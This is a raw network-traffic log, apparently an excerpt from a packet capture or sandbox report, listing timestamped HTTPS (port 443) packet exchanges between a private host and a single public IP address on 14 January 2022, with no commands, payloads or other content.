Jan 14, 2022 20:24:00.219172001 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.219188929 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.222505093 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.222565889 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.222620010 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.222637892 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.222655058 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.222685099 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226175070 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226208925 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226281881 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226294994 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226314068 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226351023 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226836920 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226870060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226912975 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226926088 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.226946115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.226984978 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.227684021 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.227710009 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.227751017 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.227763891 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.227787971 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.227804899 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228216887 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228246927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228281021 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228293896 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228316069 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228336096 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228703976 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228734016 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228789091 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228801012 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.228816032 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.228837967 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229218006 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229249954 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229362965 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229376078 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229480982 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229625940 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229686975 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229717016 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229742050 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229753017 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.229782104 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.229799032 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.233019114 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.242888927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.242924929 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.242975950 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.242993116 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.243021011 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.243042946 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.243386030 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.243417025 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.243443966 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.243457079 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.243474007 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.243495941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.244566917 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.245722055 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.245754004 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.245929956 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.245945930 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.246090889 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.246216059 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.253855944 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.253882885 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.253938913 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.253963947 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.253985882 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.254034042 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.254602909 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.254626036 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.254679918 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.254698992 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.254715919 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.254750013 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.255502939 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.255523920 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.255583048 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.255597115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.255621910 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.255666971 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256194115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256217957 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256381989 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256397963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256547928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256653070 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256694078 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256716967 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256757975 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256769896 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.256791115 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.256808043 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257258892 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257280111 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257345915 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257359028 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257420063 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257427931 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257776976 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257800102 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257875919 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257889986 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.257906914 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.257940054 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.260499954 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266098022 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266136885 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266207933 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266220093 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266232014 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266261101 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266784906 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266809940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266853094 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266861916 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.266882896 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.266901016 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.268986940 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.269023895 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.269062996 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.269073963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.269103050 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.269114017 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.269545078 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.281665087 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.281701088 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.281765938 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.281780005 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.281800985 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.281836987 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.282371044 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.282402992 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.282443047 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.282454014 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.282491922 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.282504082 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.282917023 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.282951117 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.283001900 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.283013105 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.283036947 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.283066988 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.283725977 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.283762932 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.283801079 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.283813000 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.283852100 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.283860922 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.284632921 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.284671068 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.284723997 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.284735918 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.284753084 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.284784079 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.285200119 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285263062 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285271883 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.285284996 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285330057 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.285686016 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285721064 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285777092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.285790920 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.285818100 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.285883904 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.286317110 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.286355972 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.286396027 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.286407948 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.286428928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.286463022 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.286484957 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.289515972 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.289552927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.289645910 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.289664030 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.289683104 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.289706945 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.290553093 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.290590048 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.290647030 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.290661097 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.290695906 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.290730953 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.292418003 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.292458057 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.292512894 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.292530060 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.292556047 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.292592049 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310298920 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310305119 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310359001 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310420990 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310434103 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310481071 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310501099 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310538054 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310554981 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310564041 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.310605049 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310648918 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.310655117 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311069965 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311111927 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311204910 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311213970 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311271906 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311326027 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311487913 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311528921 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311584949 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311594009 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.311610937 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.311655045 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312021017 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312062025 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312128067 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312139034 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312154055 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312199116 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312372923 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312412024 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312453985 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312463045 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312480927 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312516928 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312747002 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312786102 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.312975883 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.312985897 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313018084 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313060045 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313066006 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.313081980 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313134909 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.313152075 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.313357115 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313395977 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313432932 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.313445091 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.313461065 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.313481092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.314596891 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.314637899 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.314677954 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.314690113 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.314711094 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.314735889 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.314966917 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.315004110 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.315042973 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.315054893 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.315078974 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.315090895 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.321512938 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.338496923 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.338545084 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.338613987 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.338641882 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.338665962 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.338700056 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.339412928 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.339456081 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.339525938 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.339546919 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.339576006 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.339649916 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.340351105 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.340396881 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.340456963 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.340476036 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.340500116 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.340539932 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.341139078 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.341222048 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.341245890 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.341264963 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.341300964 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.341330051 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.342106104 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.342149019 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.342232943 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.342253923 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.342343092 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.342864990 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.342907906 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.342936039 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.342951059 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.343008995 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.343018055 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.343722105 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.343765020 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.343851089 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.343863964 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.343981981 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344186068 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344227076 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344270945 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344281912 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344295979 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344329119 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344666004 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344702959 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344753027 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344765902 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.344784021 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.344813108 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.371623993 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.371684074 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.371756077 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.371778011 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.371795893 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.371829033 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.383327961 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395500898 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395546913 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395618916 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395648003 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395668983 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395673990 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395700932 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395713091 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395734072 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395736933 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395777941 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395792007 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395806074 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395858049 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395865917 CET	49878	443	192.168.2.3	144.76.136.153
Jan 14, 2022 20:24:00.395878077 CET	443	49878	144.76.136.153	192.168.2.3
Jan 14, 2022 20:24:00.395946026 CET	443	49878	144.76.136.153	192.168.2.3
